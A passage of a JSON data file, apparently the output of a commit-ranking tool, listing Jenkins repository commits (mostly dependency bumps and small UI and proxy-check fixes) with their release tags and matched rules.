"jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8736", + "relevance": 2 + } + ] + }, + { + "commit_id": "85c1f8ddf228b1def6a8251b8d13512209552b2f", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1702084434, + "hunks": 1, + "message": "Bump org.jenkins-ci.plugins:credentials from 1309.v8835d63eb_d8a_ to 1311.vcf0a_900b_37c2 (#8764) Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>", + "changed_files": [ + "test/pom.xml" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8764": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.436", + "jenkins-2.437", + "jenkins-2.438", + "jenkins-2.439", + "jenkins-2.440", + "jenkins-2.440.1", + "jenkins-2.440.1-rc", + "jenkins-2.440.2", + "jenkins-2.440.2-rc", + "jenkins-2.440.3", + "jenkins-2.440.3-rc", + "jenkins-2.441", + "jenkins-2.442", + "jenkins-2.443", + "jenkins-2.444", + "jenkins-2.445", + "jenkins-2.446", + "jenkins-2.447", + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8764", + "relevance": 2 + } + ] + }, + { + "commit_id": "8fbe0d39defc021dda6bf173280476dc6258a490", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1701990457, + "hunks": 1, + "message": "Bump com.puppycrawl.tools:checkstyle from 10.12.5 to 10.12.6 (#8760) Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>", + "changed_files": [ + "pom.xml" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8760": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.436", + "jenkins-2.437", + "jenkins-2.438", + "jenkins-2.439", + "jenkins-2.440", + "jenkins-2.440.1", + "jenkins-2.440.1-rc", + "jenkins-2.440.2", + "jenkins-2.440.2-rc", + "jenkins-2.440.3", + "jenkins-2.440.3-rc", + "jenkins-2.441", + "jenkins-2.442", + "jenkins-2.443", + "jenkins-2.444", + "jenkins-2.445", + "jenkins-2.446", + "jenkins-2.447", + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8760", + "relevance": 2 + } + ] + }, + { + "commit_id": "3273aecb70d73aa58b4bbedf3195eb3f874a8fe6", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1701893909, + "hunks": 2, + "message": "Bump `tibdex/github-app-token` from 1 to 2 (try 2) (#8759)", + "changed_files": [ + ".github/workflows/changelog.yml" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8759": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.436", + "jenkins-2.437", + "jenkins-2.438", + "jenkins-2.439", + "jenkins-2.440", + "jenkins-2.440.1", + "jenkins-2.440.1-rc", + "jenkins-2.440.2", + "jenkins-2.440.2-rc", + "jenkins-2.440.3", + "jenkins-2.440.3-rc", + "jenkins-2.441", + "jenkins-2.442", + "jenkins-2.443", + "jenkins-2.444", + "jenkins-2.445", + "jenkins-2.446", + "jenkins-2.447", + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8759", + "relevance": 2 + } + ] + }, + { + "commit_id": "1dac7b7c76292da71c95d865df4f01fe51cd0818", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1701876739, + "hunks": 1, + "message": "Bump commons-logging:commons-logging from 1.2 to 1.3.0 (#8732) Bumps commons-logging:commons-logging from 1.2 to 1.3.0. --- updated-dependencies: - dependency-name: commons-logging:commons-logging dependency-type: direct:production update-type: version-update:semver-minor ... Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>", + "changed_files": [ + "bom/pom.xml" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8732": "Testing jenkinsci/jenkins#8732 jenkinsci/bom#2722" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.436", + "jenkins-2.437", + "jenkins-2.438", + "jenkins-2.439", + "jenkins-2.440", + "jenkins-2.440.1", + "jenkins-2.440.1-rc", + "jenkins-2.440.2", + "jenkins-2.440.2-rc", + "jenkins-2.440.3", + "jenkins-2.440.3-rc", + "jenkins-2.441", + "jenkins-2.442", + "jenkins-2.443", + "jenkins-2.444", + "jenkins-2.445", + "jenkins-2.446", + "jenkins-2.447", + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8732", + "relevance": 2 + } + ] + }, + { + "commit_id": "bf90ba4e66176d45cbf6f5e6d0c35c92b3fe7c46", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1701876623, + "hunks": 1, + "message": "Bump commons-io:commons-io from 2.15.0 to 2.15.1 (#8730) Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>", + "changed_files": [ + "bom/pom.xml" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8730": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.436", + "jenkins-2.437", + "jenkins-2.438", + "jenkins-2.439", + "jenkins-2.440", + "jenkins-2.440.1", + "jenkins-2.440.1-rc", + "jenkins-2.440.2", + "jenkins-2.440.2-rc", + "jenkins-2.440.3", + "jenkins-2.440.3-rc", + "jenkins-2.441", + "jenkins-2.442", + "jenkins-2.443", + "jenkins-2.444", + "jenkins-2.445", + "jenkins-2.446", + "jenkins-2.447", + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8730", + "relevance": 2 + } + ] + }, + { + "commit_id": "37ab66e20c7300a289fb80ef952821d5209acd7c", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1701876448, + "hunks": 2, + "message": "Bump `tibdex/github-app-token` from 1 to 2 (#8747) Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>", + "changed_files": [ + ".github/workflows/changelog.yml" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8747": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.436", + "jenkins-2.437", + "jenkins-2.438", + "jenkins-2.439", + "jenkins-2.440", + "jenkins-2.440.1", + "jenkins-2.440.1-rc", + "jenkins-2.440.2", + "jenkins-2.440.2-rc", + "jenkins-2.440.3", + "jenkins-2.440.3-rc", + "jenkins-2.441", + "jenkins-2.442", + "jenkins-2.443", + "jenkins-2.444", + "jenkins-2.445", + "jenkins-2.446", + "jenkins-2.447", + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8747", + "relevance": 2 + } + ] + }, + { + "commit_id": "5cb3fa236764330e83780389fabb9f29e4beb75f", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1701818464, + "hunks": 4, + "message": "Update dependency eslint-config-prettier to v9.1.0 (#8750) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>", + "changed_files": [ + "war/package.json", + "war/yarn.lock" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8750": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.436", + "jenkins-2.437", + "jenkins-2.438", + "jenkins-2.439", + "jenkins-2.440", + "jenkins-2.440.1", + "jenkins-2.440.1-rc", + "jenkins-2.440.2", + "jenkins-2.440.2-rc", + "jenkins-2.440.3", + "jenkins-2.440.3-rc", + "jenkins-2.441", + "jenkins-2.442", + "jenkins-2.443", + "jenkins-2.444", + "jenkins-2.445", + "jenkins-2.446", + "jenkins-2.447", + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8750", + "relevance": 2 + } + ] + }, + { + "commit_id": "c49faf87a87fb6e1e446f46df7eb2eab0215a960", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1701818400, + "hunks": 4, + "message": "Bump io.jenkins.plugins:font-awesome-api from 6.4.2-1 to 6.5.1-1 (#8744) Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>", + "changed_files": [ + "test/pom.xml" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8744": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.436", + "jenkins-2.437", + "jenkins-2.438", + "jenkins-2.439", + "jenkins-2.440", + "jenkins-2.440.1", + "jenkins-2.440.1-rc", + "jenkins-2.440.2", + "jenkins-2.440.2-rc", + "jenkins-2.440.3", + "jenkins-2.440.3-rc", + "jenkins-2.441", + "jenkins-2.442", + "jenkins-2.443", + "jenkins-2.444", + "jenkins-2.445", + "jenkins-2.446", + "jenkins-2.447", + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8744", + "relevance": 2 + } + ] + }, + { + "commit_id": "fb3b760c458d5bad88385db5c44ac60543d88a18", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1701802130, + "hunks": 1, + "message": "Fixup yarn update to 4.0.2 (#8742)", + "changed_files": [ + "war/pom.xml" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8742": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.436", + "jenkins-2.437", + "jenkins-2.438", + "jenkins-2.439", + "jenkins-2.440", + "jenkins-2.440.1", + "jenkins-2.440.1-rc", + "jenkins-2.440.2", + "jenkins-2.440.2-rc", + "jenkins-2.440.3", + "jenkins-2.440.3-rc", + "jenkins-2.441", + "jenkins-2.442", + "jenkins-2.443", + "jenkins-2.444", + "jenkins-2.445", + "jenkins-2.446", + "jenkins-2.447", + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8742", + "relevance": 2 + } + ] + }, + { + "commit_id": "1dbfc627594aba8af12dc87af6d8d591aaaa2490", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1701802089, + "hunks": 7, + "message": "Update dependency postcss to v8.4.32 (#8749) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>", + "changed_files": [ + "war/package.json", + "war/yarn.lock" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8749": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.436", + "jenkins-2.437", + "jenkins-2.438", + "jenkins-2.439", + "jenkins-2.440", + "jenkins-2.440.1", + "jenkins-2.440.1-rc", + "jenkins-2.440.2", + "jenkins-2.440.2-rc", + "jenkins-2.440.3", + "jenkins-2.440.3-rc", + "jenkins-2.441", + "jenkins-2.442", + "jenkins-2.443", + "jenkins-2.444", + "jenkins-2.445", + "jenkins-2.446", + "jenkins-2.447", + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8749", + "relevance": 2 + } + ] + }, + { + "commit_id": "17869eafc50efcf686aeb82956f4074819741286", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1701757736, + "hunks": 8, + "message": "Update dependency eslint to v8.55.0 (#8748) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>", + "changed_files": [ + "war/package.json", + "war/yarn.lock" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8748": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.435", + "jenkins-2.436", + "jenkins-2.437", + "jenkins-2.438", + "jenkins-2.439", + "jenkins-2.440", + "jenkins-2.440.1", + "jenkins-2.440.1-rc", + "jenkins-2.440.2", + "jenkins-2.440.2-rc", + "jenkins-2.440.3", + "jenkins-2.440.3-rc", + "jenkins-2.441", + "jenkins-2.442", + "jenkins-2.443", + "jenkins-2.444", + "jenkins-2.445", + "jenkins-2.446", + "jenkins-2.447", + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8748", + "relevance": 2 + } + ] + }, + { + "commit_id": "b8344b98ec9c514e40d0e48f95957253f645be07", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1701757710, + "hunks": 12, + "message": "[JENKINS-72343] Accept all 2xx and 3xx status codes to validate proxy in HTTP Proxy Configuration (#8700) * Accept all 2xx and 3xx status codes validate proxy in HTTP Proxy Configuration * add status code in the response to the user", + "changed_files": [ + "core/src/main/java/hudson/ProxyConfiguration.java", + "core/src/main/resources/hudson/Messages.properties", + "core/src/main/resources/hudson/Messages_bg.properties", + "core/src/main/resources/hudson/Messages_de.properties", + "core/src/main/resources/hudson/Messages_es.properties", + "core/src/main/resources/hudson/Messages_fr.properties", + "core/src/main/resources/hudson/Messages_it.properties", + "core/src/main/resources/hudson/Messages_ja.properties", + "core/src/main/resources/hudson/Messages_pt_BR.properties", + "core/src/main/resources/hudson/Messages_ru.properties", + "core/src/main/resources/hudson/Messages_sr.properties", + "core/src/main/resources/hudson/Messages_zh_TW.properties" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8700": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.435", + "jenkins-2.436", + "jenkins-2.437", + "jenkins-2.438", + "jenkins-2.439", + "jenkins-2.440", + "jenkins-2.440.1", + "jenkins-2.440.1-rc", + "jenkins-2.440.2", + "jenkins-2.440.2-rc", + "jenkins-2.440.3", + "jenkins-2.440.3-rc", + "jenkins-2.441", + "jenkins-2.442", + "jenkins-2.443", + "jenkins-2.444", + "jenkins-2.445", + "jenkins-2.446", + "jenkins-2.447", + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8700", + "relevance": 2 + } + ] + }, + { + "commit_id": "62d22f3277a3c4a7cd0b74b6ffe1bfc2e5775ed3", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1701757643, + "hunks": 1, + "message": "do not specify anti-aliasing (#8689) specifying the anti-aliasing implies we know better than the browser (we don't). Specifiying this globally prevents the use of sub-pixel anti-aliasing where it is available and the browsers text rendering engines are these days pretty much fantastic that they should not need these hacks. and for good measure - here is an article from 10 years ago https://usabilitypost.com/2012/11/05/stop-fixing-font-smoothing/ and the mozilla doc saying do not use it on a public facing web site. https://developer.mozilla.org/en-US/docs/Web/CSS/font-smooth", + "changed_files": [ + "war/src/main/scss/base/_core.scss" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8689": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.435", + "jenkins-2.436", + "jenkins-2.437", + "jenkins-2.438", + "jenkins-2.439", + "jenkins-2.440", + "jenkins-2.440.1", + "jenkins-2.440.1-rc", + "jenkins-2.440.2", + "jenkins-2.440.2-rc", + "jenkins-2.440.3", + "jenkins-2.440.3-rc", + "jenkins-2.441", + "jenkins-2.442", + "jenkins-2.443", + "jenkins-2.444", + "jenkins-2.445", + "jenkins-2.446", + "jenkins-2.447", + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8689", + "relevance": 2 + } + ] + }, + { + "commit_id": "dc983d0409668be74d28c91fa5dda4a1e076a78d", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1701677760, + "hunks": 1, + "message": "[JENKINS-72196] avoid wrong styling when deleting the first of 2 shell steps (#8739) move link elements to head fixes JENKINS-72196 when in a form there are repeatables that both contain a codemirror config via a textarea. When deleting the first of those it can happen that the link elements importing the css for codemirror are defined in a div that gets deleted. This effectively removes the css from the DOM tree, so that other textareas afterwards that also require the codemirror css are no longer styled properly. The Behaviour uses a high negative value for the priority so that the move of the link elements is applied before any other behaviour jumps in, e.g. hetero-list and repeatable add the elements to the dom via jelly of all things can that can be added and later remove them from the dom and keep them in memory.", + "changed_files": [ + "war/src/main/webapp/scripts/hudson-behavior.js" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8739": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.435", + "jenkins-2.436", + "jenkins-2.437", + "jenkins-2.438", + "jenkins-2.439", + "jenkins-2.440", + "jenkins-2.440.1", + "jenkins-2.440.1-rc", + "jenkins-2.440.2", + "jenkins-2.440.2-rc", + "jenkins-2.440.3", + "jenkins-2.440.3-rc", + "jenkins-2.441", + "jenkins-2.442", + "jenkins-2.443", + "jenkins-2.444", + "jenkins-2.445", + "jenkins-2.446", + "jenkins-2.447", + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + 